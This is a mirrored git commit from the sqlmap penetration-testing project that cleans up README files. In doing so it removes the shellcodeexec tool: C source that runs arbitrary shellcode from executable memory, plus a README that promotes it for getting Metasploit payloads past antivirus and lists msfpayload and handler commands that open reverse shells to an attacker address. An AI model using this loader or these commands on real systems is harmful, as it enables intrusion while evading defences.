mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-21 17:16:35 +03:00
cleanup to README files
This commit is contained in:
parent
7198e3185b
commit
224e6376a6
|
@ -8,14 +8,14 @@ icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible
|
|||
The master is straight forward to use. There are no extra libraries required for the C version.
|
||||
The Perl master however has the following dependencies:
|
||||
|
||||
* IO::Socket
|
||||
* NetPacket::IP
|
||||
* NetPacket::ICMP
|
||||
* IO::Socket
|
||||
* NetPacket::IP
|
||||
* NetPacket::ICMP
|
||||
|
||||
|
||||
When running the master, don't forget to disable ICMP replies by the OS. For example:
|
||||
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive
|
||||
commands send from the master.
|
||||
|
@ -29,12 +29,12 @@ The slave comes with a few command line options as outlined below:
|
|||
-t host host ip address to send ping requests to. This option is mandatory!
|
||||
|
||||
-r send a single test icmp request containing the string "Test1234" and then quit.
|
||||
This is for testing the connection.
|
||||
This is for testing the connection.
|
||||
|
||||
-d milliseconds delay between requests in milliseconds
|
||||
|
||||
-o milliseconds timeout of responses in milliseconds. If a response has not received in time,
|
||||
the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
|
||||
the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
|
||||
The counter is set back to 0 if a response was received.
|
||||
|
||||
-b num limit of blanks (unanswered icmp requests before quitting
|
||||
|
|
|
@ -1,7 +1,3 @@
|
|||
Files in this folder can be used to compile auxiliary program that can
|
||||
be used for running command prompt commands skipping standard "cmd /c" way.
|
||||
They are licensed under the terms of the GNU Lesser General Public License
|
||||
and it's compiled version is available on the official sqlmap subversion
|
||||
repository[1].
|
||||
|
||||
[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/shell/runcmd.exe_
|
||||
They are licensed under the terms of the GNU Lesser General Public License.
|
||||
|
|
|
@ -1,126 +0,0 @@
|
|||
= Short description =
|
||||
|
||||
shellcodeexec is a small script to execute in memory a sequence of opcodes.
|
||||
|
||||
|
||||
= Background =
|
||||
|
||||
Most of the shellcode launchers out there, including proof of concepts
|
||||
part of many "security" books, detail how to allocate a memory page as
|
||||
readable/writable/executable on POSIX systems, copy over your shellcode
|
||||
and execute it. This works just fine. However, it is limited to POSIX,
|
||||
does not necessarily consider 64-bit architecture and Windows systems.
|
||||
|
||||
|
||||
= Description =
|
||||
|
||||
This script and the relevant project files (Makefile and Visual Studio
|
||||
files) allow you to compile the tool once then run your shellcode across
|
||||
different architectures and operating systems.
|
||||
|
||||
Moreover, it solves a common real world issue: the target system's anti
|
||||
virus software blocking a Metasploit-generated payload stager (either EXE
|
||||
of ELF). Take for instance the following command line:
|
||||
|
||||
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe
|
||||
|
||||
This generates a Metasploit payload stager, payload.exe, that as soon as
|
||||
it lands on the AV-protected target system is recognized as malicious and
|
||||
potentially blocked (depending on the on-access scan settings) by many
|
||||
anti virus products. At the time of writing this text, 21 out 41 anti
|
||||
viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it
|
||||
multiple times with msfencode, less AV softwares detect it, still a lot.
|
||||
|
||||
I have been surfing the Net and found some interesting tutorials and
|
||||
guides about packing, compressing, obfuscating and applying IDA-foo to
|
||||
portable executables et similar in order to narrow down the number of AV
|
||||
products that can detect it as a malicious file. This is all interesting,
|
||||
but does not stop few hard-to-die anti viruses to detect your backdoor.
|
||||
|
||||
So the question is, how cool would it be to have a final solution to avoid
|
||||
all this hassle? This is exactly where this tool comes into play!
|
||||
|
||||
|
||||
= Features =
|
||||
|
||||
shellcodeexec:
|
||||
|
||||
* Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
|
||||
|
||||
* Can be compiled and works on 32-bit and 64-bit architectures.
|
||||
|
||||
* As far as I know, no AV detect it as malicious.
|
||||
|
||||
* Works in DEP/NX-enabled environments: it allocates the memory page where
|
||||
it stores the shellcode as +rwx - Readable Writable and eXecutable.
|
||||
|
||||
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded
|
||||
shellcode (generated for instance with Metasploit's msfpayload) to
|
||||
Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the
|
||||
BufferRegister variable to EAX registry where the address in memory of
|
||||
the shellcode will be stored, to avoid get_pc() binary stub to be
|
||||
prepended to the shellcode.
|
||||
|
||||
* Spawns a new thread where the shellcode is executed in a structure
|
||||
exception handler (SEH) so that if you wrap shellcodeexec into your own
|
||||
executable, it avoids the whole process to crash in case of unexpected
|
||||
behaviours.
|
||||
|
||||
|
||||
= HowTo =
|
||||
|
||||
1. Generate a Metasploit shellcode and encode it with the alphanumeric
|
||||
encoder. For example for a Linux target:
|
||||
|
||||
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
|
||||
|
||||
Or for a Windows target:
|
||||
|
||||
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
|
||||
|
||||
|
||||
2. Execute the Metasploit multi/handler listener on your machine. For
|
||||
example for a Linux target:
|
||||
|
||||
$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
|
||||
|
||||
Or for a Windows target:
|
||||
|
||||
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
|
||||
|
||||
|
||||
3. Execute the alphanumeric-encoded shellcode with this tool. For example
|
||||
on the Linux target:
|
||||
|
||||
$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>
|
||||
|
||||
Or, on the Windows target:
|
||||
|
||||
C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>
|
||||
|
||||
|
||||
= License =
|
||||
|
||||
This source code is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
= Author =
|
||||
|
||||
Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
|
||||
|
||||
= Homepage =
|
||||
|
||||
https://github.com/inquisb/shellcodeexec
|
4
extra/shellcodeexec/README.txt
Normal file
4
extra/shellcodeexec/README.txt
Normal file
|
@ -0,0 +1,4 @@
|
|||
Binary files in this folder are data files used by sqlmap on the target
|
||||
system, but not executed on the system running sqlmap. They are licensed
|
||||
under the terms of the GNU Lesser General Public License and their source
|
||||
code is available on https://github.com/inquisb/shellcodeexec.
|
|
@ -1,7 +0,0 @@
|
|||
32:
|
||||
gcc -Wall -Os shellcodeexec.c -o shellcodeexec
|
||||
strip -sx shellcodeexec
|
||||
|
||||
64:
|
||||
gcc -Wall -Os shellcodeexec.c -fPIC -o shellcodeexec
|
||||
strip -sx shellcodeexec
|
|
@ -1,138 +0,0 @@
|
|||
/*
|
||||
shellcodeexec - Script to execute in memory a sequence of opcodes
|
||||
Copyright (C) 2011 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com
|
||||
email: bernardo.damele@gmail.com
|
||||
|
||||
This source code is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#include <windows.h>
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#else
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
int sys_bineval(char *argv);
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
if (argc < 2) {
|
||||
printf("Run:\n\tshellcodeexec <alphanumeric-encoded shellcode>\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sys_bineval(argv[1]);
|
||||
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int sys_bineval(char *argv)
|
||||
{
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
len = (size_t)strlen(argv);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// copy over the shellcode
|
||||
strncpy(code, argv, len);
|
||||
|
||||
// execute it by ASM code defined in exec_payload function
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an +rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
// copy over the shellcode
|
||||
strncpy((char *)addr, argv, len);
|
||||
|
||||
// execute it
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN64)
|
||||
void __exec_payload(LPVOID);
|
||||
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__exec_payload(lpParameter);
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
|
@ -1,25 +0,0 @@
|
|||
Before compiling, an enviroment variable has to be set.
|
||||
|
||||
--------------------------------------------------------------------------
|
||||
Variable name Variable description
|
||||
--------------------------------------------------------------------------
|
||||
PLATFORM_SDK_DIR Directory where the Platform SDK is installed
|
||||
|
||||
|
||||
Procedure for setting environment variables on Windows:
|
||||
My Computer -> Properties -> Advanced -> Environment Variables
|
||||
User variables -> New
|
||||
|
||||
|
||||
Sample value:
|
||||
--------------------------------------------------------------------------
|
||||
Variable name Variable value
|
||||
--------------------------------------------------------------------------
|
||||
PLATFORM_SDK_DIR C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2
|
||||
|
||||
|
||||
Notes:
|
||||
|
||||
To get as small portable executable as possible compile as follows:
|
||||
* Use Visual C++ 2005
|
||||
* Strip the executable with UPX
|
Binary file not shown.
|
@ -1,138 +0,0 @@
|
|||
/*
|
||||
shellcodeexec - Script to execute in memory a sequence of opcodes
|
||||
Copyright (C) 2011 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com
|
||||
email: bernardo.damele@gmail.com
|
||||
|
||||
This source code is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#include <windows.h>
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#else
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
int sys_bineval(char *argv);
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
if (argc < 2) {
|
||||
printf("Run:\n\tshellcodeexec <alphanumeric-encoded shellcode>\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sys_bineval(argv[1]);
|
||||
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int sys_bineval(char *argv)
|
||||
{
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
len = (size_t)strlen(argv);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// copy over the shellcode
|
||||
strncpy(code, argv, len);
|
||||
|
||||
// execute it by ASM code defined in exec_payload function
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an +rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
// copy over the shellcode
|
||||
strncpy((char *)addr, argv, len);
|
||||
|
||||
// execute it
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN64)
|
||||
void __exec_payload(LPVOID);
|
||||
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__exec_payload(lpParameter);
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
Binary file not shown.
|
@ -1,6 +1,4 @@
|
|||
Binary files in this folder are data files used by sqlmap on the target
|
||||
system, but not executed on the system running sqlmap. They are licensed
|
||||
under the terms of the GNU Lesser General Public License and their source
|
||||
code is available on the official sqlmap subversion repository[1].
|
||||
|
||||
[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack/
|
||||
code is available on https://github.com/sqlmapproject/udfhack.
|
||||
|
|
Loading…
Reference in New Issue
Block a user